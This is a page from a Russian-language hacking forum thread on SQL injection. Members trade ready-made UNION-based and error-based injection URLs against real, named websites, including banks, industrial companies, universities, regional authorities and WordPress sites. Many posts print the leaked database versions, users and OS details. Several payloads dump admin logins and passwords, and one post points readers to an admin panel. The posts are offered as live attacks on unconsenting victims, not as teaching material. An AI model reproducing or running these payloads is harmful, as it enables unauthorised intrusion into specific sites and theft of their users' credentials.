SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 658 of 798
  1. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.ningbo-wugu.com/read_news.php?id=35+and+1=0+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14
     
    _________________________
    #13141 Konqi, 1 Oct 2010
  2. zlo12

    zlo12 Elder - Старейшина

    Joined:
    28 Dec 2007
    Messages:
    535
    Likes Received:
    135
    Reputations:
    34
    http://www.achekhova.ru/img.php?rub=press&id=244+union+select+1,2,3,concat(version(),database(),user())+limit+1,1

    Database Version: 5.1.41-log
    Database name: achekhova_db
    User name: [email protected]
     
    #13142 zlo12, 1 Oct 2010
    Last edited by a moderator: 1 Oct 2010
    erbolg likes this.
  3. Lasteeck

    Lasteeck *ersguterjunge*

    Joined:
    5 Apr 2010
    Messages:
    172
    Likes Received:
    109
    Reputations:
    6
    в титлах пароль и логин
    http://media-get.ru/admin

    наверняка баян, но я не слежу за баянами или нет

     
    #13143 Lasteeck, 1 Oct 2010
    Last edited: 2 Oct 2010
  4. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://www.chelgorarh.ru/site/index/news/?id=15'+and+1=0+UnIon+selECt+1,2,3,4,group_concat(table_name+separator+0x3c62723e),6,7,8,9,10+from+information_schema.tables+where+table_schema=database()+--+
    ТИЦ : 10

    http://www.tdsigma.ru/site/index/news/?id=13'+and+1=0+UnIon+selECt+1,2,3,4,group_concat(table_name+separator+0x3c62723e),6,7,8,9,10+from+information_schema.tables+where+table_schema=database()+--+
    ТИЦ : 60

    http://www.zembank.ru/site/index/news/?id=12+and+1=0+UnIon+selECt+1,2,3,4,group_concat(table_name+separator+0x3c62723e),6,7,8,9,10+from+information_schema.tables+where+table_schema=database()+--+
    ТИЦ : 300

    http://www.kingpack.ru/site/index/news/?id=14+and+1=0+union+Select+1,2,group_concat(table_name+separator+0x3c62723e)+from+information_schema.tables+where+table_schema=database()+--+
    ТИЦ : 30 PR: 3

    http://www.basket-chel.ru/site/index/news/?id=167'+and+1=0+UnIon+selECt+1,2,3,4,group_concat(table_name+separator+0x3c62723e),6,7,8,9,10+from+information_schema.tables+where+table_schema=0x6261736b65742d6368656c5f6d61696e+--+
    ТИЦ : 10 PR: 1

    п.с. нашел бажный скрипт у разработчиков сайтов , решил загуглить inurl:"site/index/news/?id=" , вот и результат
     
    #13144 tracy, 2 Oct 2010
    1 person likes this.
  5. ubi

    ubi Elder - Старейшина

    Joined:
    25 Dec 2009
    Messages:
    308
    Likes Received:
    76
    Reputations:
    19
    http://www.storytellerwine.com/wine/wp-content/plugins/st_newsletter/stnl_iframe.php?newsletter=-9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x3a,user_email)+FROM+wp_users--
     
    #13145 ubi, 2 Oct 2010
  6. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    КРАСОТА ОНЛАЙН

    http://www.krasota.ru/krasota/articles/show.htpl?id=-1919+union+all+select+1,2,3,4,5,6,aes_decrypt(aes_encrypt(concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),0x71),0x71),8,9,10,11+--

    4.1.16-standard
    [email protected]
    krasota_v3
    unknown-freebsd4.7
     
    #13146 AC//DC, 2 Oct 2010
  7. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    www.dhysj.com/new.php?id=194+and+1=0+UnIon+selECt+1,2,3,4,concat_ws(0x3a,id,login,pwd),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+cdqw_admin+limit+0,1--+

    Китайский сайт
     
    #13147 tracy, 2 Oct 2010
  8. life_glider

    life_glider Member

    Joined:
    13 Apr 2010
    Messages:
    42
    Likes Received:
    25
    Reputations:
    33
    Продолжим раздачу админок
    Code:
    http://www.fabral.com/product.php?id=-1) union select 1,username,3,4,5,password,7,8,9,10,11,12,13 from users limit 1,0+--+
    http://www.fabral.com/admin/



    Code:
    http://www.eyelaworld.com/product.php?id=-4%20union%20select%201,2,concat_ws%280x3b,version%28%29,database%28%29,user%28%29,@@version_compile_os%29,4,5,6,7+--+
    pr4, 4.1.22-standard-log;dbeyela;[email protected];pc-linux-gnu
     
    #13148 life_glider, 2 Oct 2010
    Last edited: 2 Oct 2010
  9. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    http://antivirus-kaspersky.com.ua/news.php?simple=1&id=32+and+1=0+union+select+1,2,3,version(),5--
    :D
     
    #13149 daniel_1024, 2 Oct 2010
    4 people like this.
  10. Gedj

    Gedj Elder - Старейшина

    Joined:
    15 Sep 2008
    Messages:
    85
    Likes Received:
    30
    Reputations:
    2
    Code:
    http://parovoz.com/regio/index.php?ID=-611+union+select+group_concat(table_name),2+from+information_schema.tables--

    Code:
    http://www.imadesign.ru/design?id=-252+union+select+1,version(),3,4--

    Code:
    http://www.milon.ru/index.phtml?id=-4+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.tables--
     
    #13150 Gedj, 3 Oct 2010
    Last edited: 3 Oct 2010
  11. boxazbox

    boxazbox Banned

    Joined:
    21 Sep 2010
    Messages:
    9
    Likes Received:
    3
    Reputations:
    6
    Access
     
    #13151 boxazbox, 3 Oct 2010
  12. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://www.uralmash.ru/rus/products/catalogue/aboutcategory.htm?sect=13+and+1=0+union+select+concat_ws(0x3a,id,name,pass,email),2+from+users+limit+3,1+--+
    ТИЦ : 600

    http://www.ugmk.com/ru/press-center/news/index.php?id15=9321+and+1=0+UnIon+selECt+1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+
    ТИЦ : 600 PR: 5

    http://www.elem.ru/ru/press/index.php?id15=9222+and+1=0+UnIon+selECt+1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17,18+--+
    ТИЦ : 600

    http://www.ggok.ru/ru/press/index.php?id15=9243+and+1=0+union+Select+1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+
    ТИЦ : 70

    http://www.kru.ru/ru/press/index.php?id15=8987+and+1=0+union+Select+1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+
    ТИЦ : 250

    http://www.shaaz.ru/ru/press/index.php?id15=7746+and+1=0+union+Select+1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+
    ТИЦ : 100

    http://www.svg.ru/ru/press/index.php?id15=9098+and+1=0+union+Select+1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+
    ТИЦ : 60


    http://www.sibkabel.ru/ru/press/index.php?id15=6631+and+1=0+union+Select+1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+
    ТИЦ : 500

    http://www.orenrad.ru/ru/press/index.php?id15=8839+and+1=0+union+Select+1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+
    ТИЦ : 30 PR: 4
    Везде 1 скрипт ..везде 18 полей ... везде mysql 4 :D
     
    #13152 tracy, 3 Oct 2010
    1 person likes this.
  13. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,258
    Reputations:
    274
    http://esetnod-32.com.ua/news.php?simple=1&id=11+UNION+SELECT+1,AES_DECRYPT%28AES_ENCRYPT%28CONCAT_WS%280x3a,Version%28%29,Database%28%29,User%28%29,@@version_compile_os%29,0x71%29,0x71%29,3,4+LIMIT+1,1--

    Database Version: 5.0.85-community
    Database name: esetnod_NEWS
    User name: esetnod_bssergy@localhost
    Os: linux-gnu
     
    #13153 Gorev, 3 Oct 2010
    2 people like this.
  14. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    244
    Likes Received:
    119
    Reputations:
    40
    http://avto-rinok.com.ua/search/avt_marka=70+or+(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+version()),1,64),floor(rand(0)*2)))
    ТИЦ : 10 PR: 3


    OC: pc-linux-gnu1
    MySQL version : 5.0.70-log1
    user:gbua_avto_rinok
     
    #13154 tracy, 3 Oct 2010
  15. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Педагогический институт СГУ им.Н.Г.Чернышевского

    http://spi.renet.ru/mynews/news.php?id_news=-474+and+1=2+union+all+select+1,2,3,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),5,6,7,8,9,10,11,12,13,14+--

    version : 5.0.67-community-nt
    user : my_news@localhost
    database : my_news
    os : Win32
     
    #13155 AC//DC, 3 Oct 2010
    1 person likes this.
  16. Axel_Ustus

    Axel_Ustus New Member

    Joined:
    4 Jun 2010
    Messages:
    17
    Likes Received:
    4
    Reputations:
    1
    http://www.photo-article.com/Gallery/ViewByArticle.php?sub_id=18+union+select+1,2,3,4,5,6--
     
    #13156 Axel_Ustus, 3 Oct 2010
  17. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.straub-kreativ-technik.de/home/details.php?Produkt=241+and+ascii(lower(substring((select version() from information_schema.tables limit 0,1),1,1)))=53
    http://www.saintjames.de/damen-gurtel.php?num=0&id=-00000325+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
     
    _________________________
    #13157 Konqi, 3 Oct 2010
    Last edited: 3 Oct 2010
    2 people like this.
  18. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Сибирский федеральный округ

    http://sfokr.ru/index.php?reg=-22+and+1=2+union+select+concat_ws(0x3a,@@version,user(),database(),@@version_compile_os)+--&opf=&pag=1&src=

    5.0.90
    root@localhost
    deb
    portbld-freebsd6.3-1
     
    #13158 AC//DC, 3 Oct 2010
    1 person likes this.
  19. ubi

    ubi Elder - Старейшина

    Joined:
    25 Dec 2009
    Messages:
    308
    Likes Received:
    76
    Reputations:
    19
    http://profilplus.com.ua/index.php?sec=katalog&page=uplotniteli%27+and+0+union+select+1,2,3,4,5,6,7,8,9,GROUP_CON%20%20CAT%28concat_ws%28%27:%27,login,password%29%20sepa%20%20rator%20%20%27@%27%29+FROM+users%23
     
    #13159 ubi, 3 Oct 2010
    1 person likes this.
  20. grably

    grably New Member

    Joined:
    6 Jul 2009
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    http://www.bilnik.ru/work/vel/str/page.php?id=87+and+1=0+union+select+1,2,3,4,concat_ws%280x3b,id,login,parol,admin%29,6+from+km_users+--+

    тиц 10
     
    #13160 grably, 3 Oct 2010
(You must log in or sign up to post here.)
Page 658 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.